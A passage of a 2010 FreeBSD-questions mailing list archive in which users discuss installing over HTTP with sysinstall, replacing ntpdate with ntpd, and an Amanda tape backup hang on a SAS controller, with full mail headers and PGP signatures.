--------+-------------------+------------------------------- /"\ |Svein Skogen | svein@d80.iso100.no \ / |Solberg Ųstli 9 | PGP Key: 0xE5E76831 X |2020 Skedsmokorset | svein@jernhuset.no / \ |Norway | PGP Key: 0xCE96CE13 | | svein@stillbilde.net ascii | | PGP Key: 0x58CD33B6 ribbon |System Admin | svein-listmail@stillbilde.net Campaign|stillbilde.net | PGP Key: 0x22D494A4 +-------------------+------------------------------- |msn messenger: | Mobile Phone: +47 907 03 575 |svein@jernhuset.no | RIPE handle: SS16503-RIPE - --------+-------------------+------------------------------- If you really are in a hurry, mail me at svein-mobile@stillbilde.net This mailbox goes directly to my cellphone and is checked even when I'm not in front of my computer. - ------------------------------------------------------------ Picture Gallery: https://gallery.stillbilde.net/v/svein/ - ------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkubtf8ACgkQODUnwSLUlKTfGgCgndwhQdAjFjlUp2jCh5POr0jp 0rYAoKUsR2AjzlBCM/eqMfUjGfKtWXof =2lnD -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 17:35:36 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8C0481065674 for ; Sat, 13 Mar 2010 17:35:36 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id F0BC88FC1A for ; Sat, 13 Mar 2010 17:35:35 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o2DHZOSL028276 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sat, 13 Mar 2010 17:35:30 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B9BCCDC.20302@infracaninophile.co.uk> Date: Sat, 13 Mar 2010 17:35:24 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: Eitan Adler References: <4B992AA3.1080504@infracaninophile.co.uk> In-Reply-To: X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: freebsd-questions@freebsd.org Subject: Re: sysinstall: download via pure http X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 17:35:36 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 13/03/2010 14:22:58, Eitan Adler wrote: >> >> You can just access ftp.freebsd.org by HTTP > > but sysinstall doesn't give me that option - or at least I can't find it For the initial install? Yes -- you're right: there's no obvious 'install via HTTP' option. Trying to install via HTTP proxy and saying ftp.freebsd.org:80 when prompted seems like it should work to me, but I haven't verified that. Otherwise, your options are to download the disk1 or DVD .iso images, and install from those -- they have everything you need to install the base system -- or else to download the install sets out-of-band to a local filesystem and install that way. One handy hint when installing is *don't feel you have to do everything from within sysinstall*. Your priority should be to get the OS up and running: everything else you can do from within the OS, which is a far more flexible and powerful platform than sysinstall. That power comes at the cost of maybe not being particularly obvious exactly how to do what you want, but that is why the Handbook exists. If you're trying to install packages via HTTP rather than FTP, then try setting PACKAGEROOT in your environment. Like this: PACKAGEROOT=http://ftp.freebsd.org ; export PACKAGEROOT (Borne-shell) or setenv PACKAGEROOT http://ftp.freebsd.org (Csh-alikes) then use 'pkg_add -r pkgname' in the usual way. See login.conf(5) and cap_mkdb(1) for one way of setting such variables in the environment automatically when you login. Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkubzNwACgkQ8Mjk52CukIyG6QCcDQxl5QdnQp1Ne206sCNTHZwZ y+YAn3dU9g1XUBKRwhXaeva8/FP7E7zn =H9jT -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 17:55:54 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D774E106564A for ; Sat, 13 Mar 2010 17:55:54 +0000 (UTC) (envelope-from eitanadlerlist@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.153]) by mx1.freebsd.org (Postfix) with ESMTP id 69ED08FC08 for ; Sat, 13 Mar 2010 17:55:54 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id e21so689342fga.13 for ; Sat, 13 Mar 2010 09:55:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type :content-transfer-encoding; bh=OJ3ZT9IkBj0Rehqxk3f4NCFbnQ7D/jiiw2GgzfGATn0=; b=X2/7ti2DNmC1I0vG2y7EPAPhsSDMvkCxANU+KPh9IgAPnjkLGoxebAQNlMEmNW2pG+ SOpksoNoqp+hAGx84xBsOYIFuYSsKTiVszscX0QajwiK+MSpvA5EMmFlwbgwkQI3iGF5 a9w0BnFZHChgmlnYJ3thr/xlCdxXoewbvJK0g= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; b=JRweGh6rX9vBpMKveRA6eBQOkBMBonGgkDOjx5N5xptXeUSu9oz80qGqO/WjwYhlXN l4yjzxsdhW6++qlvoV6+tZ+QXEPiH7SdFSwhGyTBw8SqNbgQ9witS2DtnKCQvaL6WN/a Lx+qjSPtSIrY/EnBNvPl2n1vQC3OC1ti7KZ70= MIME-Version: 1.0 Received: by 10.239.185.14 with SMTP id a14mr647154hbh.24.1268502953172; Sat, 13 Mar 2010 09:55:53 -0800 (PST) In-Reply-To: <4B9BCCDC.20302@infracaninophile.co.uk> References: <4B992AA3.1080504@infracaninophile.co.uk> <4B9BCCDC.20302@infracaninophile.co.uk> From: Eitan Adler Date: Sat, 13 Mar 2010 19:55:33 +0200 Message-ID: To: Matthew Seaman Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: freebsd-questions@freebsd.org Subject: Re: sysinstall: download via pure http X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 17:55:54 -0000 > For the initial install? Yes -- you're right: there's no obvious > 'install via HTTP' option. =A0 Trying to install via HTTP proxy and sayin= g > ftp.freebsd.org:80 when prompted seems like it should work to me, but I > haven't verified that. Next time I install I'll try this - I was just wondering if this was an opt= ion > One handy hint when installing is *don't feel you have to do everything > from within sysinstall*. =A0Your priority should be to get the OS up and > running: everything else you can do from within the OS, which is a far > more flexible and powerful platform than sysinstall. Exactly the same as my own sentiments > If you're trying to install packages via HTTP rather than FTP, then try > setting PACKAGEROOT in your environment. =A0Like this: I don't use binary packages - only ports. Thanks From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 18:03:48 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3AA0A106566C for ; Sat, 13 Mar 2010 18:03:48 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 6F9028FC0C for ; Sat, 13 Mar 2010 18:03:47 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o2DI3gnp028645 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sat, 13 Mar 2010 18:03:42 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B9BD37E.1060801@infracaninophile.co.uk> Date: Sat, 13 Mar 2010 18:03:42 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> <20100312152732.377a92a2@gumby.homeunix.com> <86r5npun1e.fsf@blue.stonehenge.com> <3f1c29e71003130647x8e78411w82fcdde6f1f78479@mail.gmail.com> In-Reply-To: <3f1c29e71003130647x8e78411w82fcdde6f1f78479@mail.gmail.com> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: RW , freebsd-questions@freebsd.org, "Randal L. Schwartz" Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 18:03:48 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 13/03/2010 14:47:31, ŠŠ½Ń‚Š¾Š½ ŠšŠ»ŠµŃŃ wrote: > I saw that more than year ago on my teacher's server, when I was deal with > my first FreeBSD, so it's just a kind of habit. It's a bad habit you should try and cure yourself of. Stepping the clock with ntpdate(8) can cause nasty effects like time apparently going backwards -- and that will seriously upset a lot of software. Also, it doesn't account for the natural clock drift of your system, so it's going to give you pretty terrible accuracy -- probably good to no more than a few seconds. ntpdate(8) is really only intended to get the clock into the right ballpark at system boot so that ntpd(8) has a fighting chance of getting into synch. The NTP project has deprecated ntpdate(8) for some time now, and instead prefers adding an option to ntpd(8) to say "set the clock on initial startup no matter how far out it is." > But on the other hand, if it exists, it could work properly, and I am > interested in just to understand, how it should be set up. I'm assuming you're on some sort of always-on network, like ADSL? Most people are nowadays. In which case, there's really no reason not to run ntpd(8) the way it is intended to be used. Just add the following to /etc/rc.conf: ntpd_enable="YES" ntpd_sync_on_start="YES" and run: /etc/rc.d/ntpd start Wait for about 15-30 minutes, then type 'ntpq -p', and you should see a report showing 3 servers, one of which should be marked with a '*' indicating you're synched correctly. That's all you need to do. You can edit /etc/ntp.conf if you prefer to use different servers to the automatically selected ones, or if you want to tweak any other NTP options. Note the 'offset' field in the report. That measures how far out your clock is from the time sources in /milliseconds/. Sub 10ms accuracy is fairly easy to achieve: which is much better than you can do via ntpdate. Also, the NTP algorithms adapt your clock over time to run more accurately and consequently can gradually decrease the frequency with which the upstream time sources are polled. Give it a day or so, and it should max out at polling each source only once every 1024 seconds. Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkub034ACgkQ8Mjk52CukIyKFgCdGBN65guZxj8Sw3O1MSIRpPnr fwUAnRxmOOu9SDTFGofxK36b3yQu9TkF =9WWS -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 18:12:01 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 20860106566C for ; Sat, 13 Mar 2010 18:12:01 +0000 (UTC) (envelope-from dak.col@gmail.com) Received: from mail-iw0-f185.google.com (mail-iw0-f185.google.com [209.85.223.185]) by mx1.freebsd.org (Postfix) with ESMTP id C92C08FC08 for ; Sat, 13 Mar 2010 18:12:00 +0000 (UTC) Received: by iwn15 with SMTP id 15so2133652iwn.7 for ; Sat, 13 Mar 2010 10:12:00 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=thIBgUJ59dCvLSKZ6GjQoyTZFBDPRM6yIl/IXHRbBVo=; b=EJ7jHCtAljwnq8cwiVviZ64bT3HWEiKi7ABuhwfd20sO/N3cBosll+z8Qf6zua9pON mO7HowhTwn06nPOImawld76VmcsxHaBF8dCJGzqvrGND/bizam1LCbgiVo9ARPqAVvwQ 75ra72hk1KWCuOFUBitqAk3GCCY03BcMXR5iE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=UOywl5DwLZx23bMUxC/mlnSoAfWkIZouG9jY/S83cQt9zcA+DQH2Qd+JvJgQ9y50iY CDyi8c9jdO1PmAqeWi/T7ymR3la8TZXG2hNmP/Ws4wsiL7/dBi/YphOvEmaCLY6E48tK y07Icfyd2WgQ9TfT9vszmQ6q1sbA0U5qrUqZc= MIME-Version: 1.0 Received: by 10.231.190.204 with SMTP id dj12mr1612646ibb.9.1268503919634; Sat, 13 Mar 2010 10:11:59 -0800 (PST) In-Reply-To: <4B9BB600.5080200@stillbilde.net> References: <4B9A4D9D.6040805@stillbilde.net> <4B9BB600.5080200@stillbilde.net> Date: Sat, 13 Mar 2010 13:11:59 -0500 Message-ID: <3b93bd111003131011i8bba45tf7258d92b63b562@mail.gmail.com> From: "Diego F. Arias R." To: "Svein Skogen (Listmail Account)" Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: "Stable, FreeBSD" , freebsd-questions@freebsd.org, current@freebsd.org Subject: Re: Amanda, FreeBSD8, amtype, hairpulling, etc. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 18:12:01 -0000 On Sat, Mar 13, 2010 at 10:57 AM, Svein Skogen (Listmail Account) < svein-listmail@stillbilde.net> wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On 12.03.2010 15:20, Svein Skogen wrote: > > I'm having trouble getting Amanda (2.6.1p2 from ports) to play nicely > > with my hardware. > > > > Devices are: > > at scbus0 target 1 lun 0 (sa0,pass0) > > at scbus0 target 1 lun 1 (pass1,ch0) > > connected via: > > mpt0: port 0x9000-0x90ff mem > > 0xfe4fc000-0xfe4fffff,0xfe4e0000-0xfe4effff irq 16 at device 0.0 on pci2 > > mpt0: [ITHREAD] > > mpt0: MPI Version=1.5.20.0 > > > > os and number in question is: > > FreeBSD storage.stillbilde.net 8.0-STABLE FreeBSD 8.0-STABLE #0: Tue Mar > > 9 07:01:59 UTC 2010 > > svein@storage.stillbilde.net:/usr/obj/usr/src/sys/GENERIC amd64 > > > > Tapes are regular LTO-3 (HP C7973A). > > > > amtapetype simply hangs (after writing 3-4 tps for 5 seconds, then > > simple silence both on sa0 and console) > > > > Has anybody run into this problem with FreeBSD8+mpt+autoloader? > > > > //Svein > > > > I'm finally starting to make sense of what I'm seeing (hence the > crossposting) > > Seems I've stumbled onto some strange incompatibility between my SAS > controller (LSI 3801E), Tape-library, and FreeBSD+Solaris. > > The behavior I'm seeing is consistent with this solaris bug: > > http://bugs.opensolaris.org/bugdatabase/view_bug.do?bug_id=6894775 > > but luckily (?) for me, my disks are on an MFI controller. I'm seeing > the exact same behavior in both FreeBSD and OpenSolaris 133 and 134. > > Linux and Windows installs on the box (this box is currently being set > up, so I'm rather liberated from reinstall-concerns) seems unaffected, > atleast the HP Software doesn't fail the way > tar/dump/dd/amanda/bacula/whatnot does at random intervals. > > The errors only occur when the device I'm reading/writing from is 100% > laoded (reading or writing 56mb/sec + compression), which when fed from > a raid capable of more than 6 times that is quite likely to happen > during backups. > > The Solaris bug seems to be around MSI handling, but there are several > reports "over there" about this error occuring even with MSI disabled. > > Right now I'm dumbstruck about this, and might install Linux "just to > get backups up and running this year", because I'm too tired of this > entire process, but I'd REALLY rather run FreeBSD or OpenSolaris. This > is based on a personal preference and nothing else, but if anybody has > some blinding insights on how to get this working, I'm open for > suggestions. > > if there is a hardware/driver bug isnt possible to get another cheap sas controller for your tape, maybe a second hand? -- mmm, interesante..... From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 18:16:51 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EB27F1065674 for ; Sat, 13 Mar 2010 18:16:51 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-158.bluehost.com (outbound-mail-158.bluehost.com [67.222.39.38]) by mx1.freebsd.org (Postfix) with SMTP id AEA368FC08 for ; Sat, 13 Mar 2010 18:16:51 +0000 (UTC) Received: (qmail 15152 invoked by uid 0); 13 Mar 2010 18:16:50 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy2.bluehost.com with SMTP; 13 Mar 2010 18:16:50 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:References:In-Reply-To:X-Enigmail-Version:Content-Type:X-Identified-User; b=NNT5uH5YHHPhJ5ts2RtgBR1DfzaqwXBEQs7NQNxbfh3IYXa2NbbvtGAse7Er0QnWdt+KxmoZ4hQiaHJBCw1a//QUcFZ6j1UiRw7BDPyuvzqKfWib1hYpzwuI1nVLLmhR; Received: from [206.74.86.236] (helo=[192.168.1.102]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1NqVtK-0004mE-GU for freebsd-questions@freebsd.org; Sat, 13 Mar 2010 11:16:50 -0700 Message-ID: <4B9BD68A.4060907@joseph-a-nagy-jr.us> Date: Sat, 13 Mar 2010 12:16:42 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> <20100312152732.377a92a2@gumby.homeunix.com> <86r5npun1e.fsf@blue.stonehenge.com> <3f1c29e71003130647x8e78411w82fcdde6f1f78479@mail.gmail.com> <4B9BD37E.1060801@infracaninophile.co.uk> In-Reply-To: <4B9BD37E.1060801@infracaninophile.co.uk> X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig5ECDAC4852499198D4D8ECFF" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 18:16:52 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig5ECDAC4852499198D4D8ECFF Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable While not having been part of this discussion I just want to say thanks for the tips. I've used them to cease using ntpdate as well and am already synced with a time server I know to be constantly reliable. --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. Original content copyright under the OWL http://owl.apotheon.org Please do not CC me. If I'm posting to a list it is because I am subscrib= ed. --------------enig5ECDAC4852499198D4D8ECFF Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAEBAgAGBQJLm9aRAAoJEENZQ8DH7rW0BMQH/jEX6b5xVvpRegxutFKujxJE qTNBsyPgocFLUE87159pEKH3eGBUkCfzcO5lj34NwroAF/WuzHoc0Uchpi9C5QPU WW2FGWYXaO9IB1DuE2xcbO1NWNbV+w3I94WCFWRdiQnDoNTZvt9m1JlfM0vWGN55 kDJqHLsM77+m/1RnY4q4Eo7AOlQ8J80HlgQp2C86syDs2Za7zqOp3ltwG0ubGHr9 PW6WJcPeYOCLehl448UKxPwt5sr8BE0qd6EAA+5gBK+ELoJO0Ns/nqqN/6ujsUpM Qv8UQAsQJtr1v7TiHsdsyDKr+EZ7z8YTEySbuRsYSvS9tDSYk2J+AcXDOi833UE= =0wH4 -----END PGP SIGNATURE----- --------------enig5ECDAC4852499198D4D8ECFF-- From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 19:08:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0E3E9106566C for ; Sat, 13 Mar 2010 19:08:53 +0000 (UTC) (envelope-from rwmaillists@googlemail.com) Received: from mail-bw0-f216.google.com (mail-bw0-f216.google.com [209.85.218.216]) by mx1.freebsd.org (Postfix) with ESMTP id 8AC5A8FC0C for ; Sat, 13 Mar 2010 19:08:51 +0000 (UTC) Received: by bwz8 with SMTP id 8so1913497bwz.3 for ; Sat, 13 Mar 2010 11:08:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=xFPUJKfNZceHRPiMmgCmusvzbkQpcUbq6tvHbo8Ep4c=; b=miBl/r4qNbWQJCqpOJ8jX47ZXyO1skSpDYPH30pYS+qbo/XBi5u+JNxdYjh5tnB9WP JL930nRyOjgoOwcLaBuF3AeBPiXDNPut3ObCWtkjwKp8jGpdzw3L/YGSX2gmPTpvcvcn FDft2Bz1X01v+0/DYE+rvGnnCBaiv7E7canHA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=iPXqAroEMLQaaHUydJDS3bcfFSbY2CmVt03pI1AL13v3kflkIswUc0WVi3s8BXTq88 zOKwsmRnpLB1hHdDPQ5yqzu0MwJ3ijka/e2eKiFEfw3O7u7Ra05UQs2ZIqLZzkkMutXs A5zLF3RJuWEjvpiHIMdDVM+wPKplTNzEZMqYI= Received: by 10.204.156.217 with SMTP id y25mr3279138bkw.2.1268507330865; Sat, 13 Mar 2010 11:08:50 -0800 (PST) Received: from gumby.homeunix.com (bb-87-81-140-128.ukonline.co.uk [87.81.140.128]) by mx.google.com with ESMTPS id l1sm11873687bkl.14.2010.03.13.11.08.49 (version=SSLv3 cipher=RC4-MD5); Sat, 13 Mar 2010 11:08:49 -0800 (PST) Date: Sat, 13 Mar 2010 19:08:38 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20100313190838.2197cdc8@gumby.homeunix.com> In-Reply-To: <4B9BD37E.1060801@infracaninophile.co.uk> References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> <20100312152732.377a92a2@gumby.homeunix.com> <86r5npun1e.fsf@blue.stonehenge.com> <3f1c29e71003130647x8e78411w82fcdde6f1f78479@mail.gmail.com> <4B9BD37E.1060801@infracaninophile.co.uk> X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd8.0) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 19:08:53 -0000 On Sat, 13 Mar 2010 18:03:42 +0000 Matthew Seaman wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 >=20 > On 13/03/2010 14:47:31, =D0=90=D0=BD=D1=82=D0=BE=D0=BD =D0=9A=D0=BB=D0=B5= =D1=81=D1=81 wrote: > > I saw that more than year ago on my teacher's server, when I was > > deal with my first FreeBSD, so it's just a kind of habit. >=20 > It's a bad habit you should try and cure yourself of. Stepping the > clock with ntpdate(8) can cause nasty effects like time apparently > going backwards -- and that will seriously upset a lot of software. >=20 > Also, it doesn't account for the natural clock drift of your system, > so it's going to give you pretty terrible accuracy -- probably good > to no more than a few seconds. ntpdate(8) is really only intended to > get the clock into the right ballpark at system boot so that ntpd(8) > has a fighting chance of getting into synch. The NTP project has > deprecated ntpdate(8) for some time now, and instead prefers adding > an option to ntpd(8) to say "set the clock on initial startup no > matter how far out it is." >=20 > > But on the other hand, if it exists, it could work properly, and I > > am interested in just to understand, how it should be set up. >=20 > I'm assuming you're on some sort of always-on network, like ADSL? > Most people are nowadays. In which case, there's really no reason > not to run ntpd(8) the way it is intended to be used. >=20 > Just add the following to /etc/rc.conf: >=20 > ntpd_enable=3D"YES" > ntpd_sync_on_start=3D"YES" >=20 ntpd_sync_on_start=3D"YES" is not a complete substitute for running ntpdate at startup. It allows ntpd to make a large correction, but it doesn't block the boot sequence so you could still get a large step-change later-on when your daemons are starting-up.=20 ntpd has an option to emulate ntpdate, but it holds-up the boot-sequence much longer - presumably this is why ntpdate has been deprecated for a long time but hasn't yet gone away.=20 you can run ntpdate at boot with ntpdate_enable=3DYES the rc script gets the servers from ntp.conf From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 19:20:10 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2A4051065694 for ; Sat, 13 Mar 2010 19:20:10 +0000 (UTC) (envelope-from pit@joseph-a-nagy-jr.us) Received: from outbound-mail-158.bluehost.com (outbound-mail-158.bluehost.com [67.222.39.38]) by mx1.freebsd.org (Postfix) with SMTP id DE9608FC0A for ; Sat, 13 Mar 2010 19:20:09 +0000 (UTC) Received: (qmail 13084 invoked by uid 0); 13 Mar 2010 19:20:09 -0000 Received: from unknown (HELO box264.bluehost.com) (69.89.31.64) by cpoproxy2.bluehost.com with SMTP; 13 Mar 2010 19:20:09 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=joseph-a-nagy-jr.us; h=Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:References:In-Reply-To:X-Enigmail-Version:Content-Type:X-Identified-User; b=Y8qTwLFrWGEEClxuKn2TCfk5jg7l/4VQqKGDo2TdR7MPQTWSeb1peakxyI+FiUK3Z2tep6wVtVvF+8DNMSa8w3m5YjCb/67XPPMVUrC/avOTthU7oiWdtcUYGSbMpQGE; Received: from [206.74.86.236] (helo=[192.168.1.102]) by box264.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1NqWsa-0001e9-IQ for freebsd-questions@freebsd.org; Sat, 13 Mar 2010 12:20:08 -0700 Message-ID: <4B9BE55A.1000909@joseph-a-nagy-jr.us> Date: Sat, 13 Mar 2010 